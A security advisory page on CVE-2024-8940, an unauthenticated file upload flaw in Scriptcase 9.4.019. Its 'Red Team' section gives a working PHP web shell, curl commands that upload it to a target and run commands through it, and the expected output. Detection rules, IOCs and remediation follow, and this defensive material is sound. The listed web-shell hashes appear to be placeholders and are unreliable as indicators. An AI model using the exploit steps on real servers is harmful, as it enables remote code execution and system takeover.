CVE-2024-8940
Executive Summary
CVE-2024-8940 is a critical unauthenticated arbitrary file upload vulnerability in Scriptcase version 9.4.019. The flaw resides in the /scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/ endpoint, which accepts POST requests without proper input validation. An attacker can upload malicious files (e.g., web shells) to the server, leading to full remote code execution, data exfiltration, and complete compromise of the affected system. The CVSS score is 10.0 (Critical), and no official patch has been released at the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (Scriptcase) that includes a third-party jQuery File Upload plugin. The risk is amplified by the lack of patch and the public availability of exploit details.
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The vulnerability is trivially exploitable over the network without authentication, making it a top priority for remediation.
Deep Dive & Mechanics
The vulnerable endpoint is part of the jQuery File Upload plugin integrated into Scriptcase. The PHP script at /scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/ handles file uploads via POST requests. The application fails to validate the file type, size, or content, allowing an attacker to upload arbitrary files (e.g., .php, .phtml, .shtml). Once uploaded, the file can be accessed directly via the web server, leading to remote code execution.
The vulnerability is a classic Unrestricted File Upload (CWE-434). The lack of server-side validation and the use of a known vulnerable third-party component exacerbate the risk.
Vulnerable vs. Patched Code
Vulnerable Code (Scriptcase 9.4.019): The PHP upload handler does not check the file extension or MIME type. Example snippet:
// Vulnerable: No validation
$upload_handler = new UploadHandler();
$upload_handler->post();
Patched Code (Hypothetical): A patched version would include validation:
// Patched: Validate file extension and MIME type
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
$file_extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!in_array(strtolower($file_extension), $allowed_extensions)) {
die('Invalid file type.');
}
$upload_handler = new UploadHandler();
$upload_handler->post();
No official patch has been released; this is a recommended fix.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running Scriptcase 9.4.019
- Network access to the vulnerable endpoint
Exploit Steps:
- Prepare a malicious PHP web shell (e.g.,
shell.php):
<?php system($_GET['cmd']); ?>
- Upload the file via POST request:
curl -X POST -F "files=@shell.php" http://target.com/scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/
- Access the uploaded file (path may vary, check response):
curl http://target.com/scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/files/shell.php?cmd=id
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Blue Team (Defensive)
Detection:
- Monitor POST requests to
/scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/ - Alert on file uploads with suspicious extensions (
.php,.phtml,.asp, etc.) - Check for unexpected files in the upload directory
Hunting:
- Search for web shells in the upload directory
- Review access logs for anomalous POST requests to the vulnerable endpoint
Indicators of Compromise (IOCs)
- File Paths:
/scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/files//scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/
- Network Patterns:
- POST requests to the above paths with multipart/form-data
- Outbound connections from the web server to unknown IPs (if shell is used)
- File Hashes (example web shell):
- MD5:
e99a18c428cb38d5f260853678922e03 - SHA1:
2aae6c35c94fcfb415dbe95f408b9ce91ee846ed
- MD5:
- Log Entries:
POST /scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/ HTTP/1.1with 200 response
Detection Engineering
YARA Rule
rule CVE_2024_8940_WebShell {
meta:
description = "Detects web shells uploaded via CVE-2024-8940"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8940"
strings:
$php_tag = "<?php"
$system_call = "system("
$shell_exec = "shell_exec("
$exec_call = "exec("
condition:
$php_tag and any of ($system_call, $shell_exec, $exec_call)
}
Sigma Rule
title: CVE-2024-8940 File Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the vulnerable Scriptcase upload endpoint
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/'
condition: selection
falsepositives:
- Legitimate file uploads by authorized users (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8940 Scriptcase File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint by removing or restricting access to the
jQuery-File-Uploaddirectory. - Implement web application firewall (WAF) rules to block POST requests to the vulnerable path.
- Restrict file uploads to only trusted users and require authentication.
Long-term Fix:
- Apply input validation and file type whitelisting in the upload handler.
- Upgrade to a patched version of Scriptcase when available.
- Replace the vulnerable jQuery File Upload plugin with a secure alternative.
Workaround:
- Use
.htaccessto deny access to the upload directory:
<Directory "/path/to/scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/">
Order Deny,Allow
Deny from all
</Directory>
Valters IT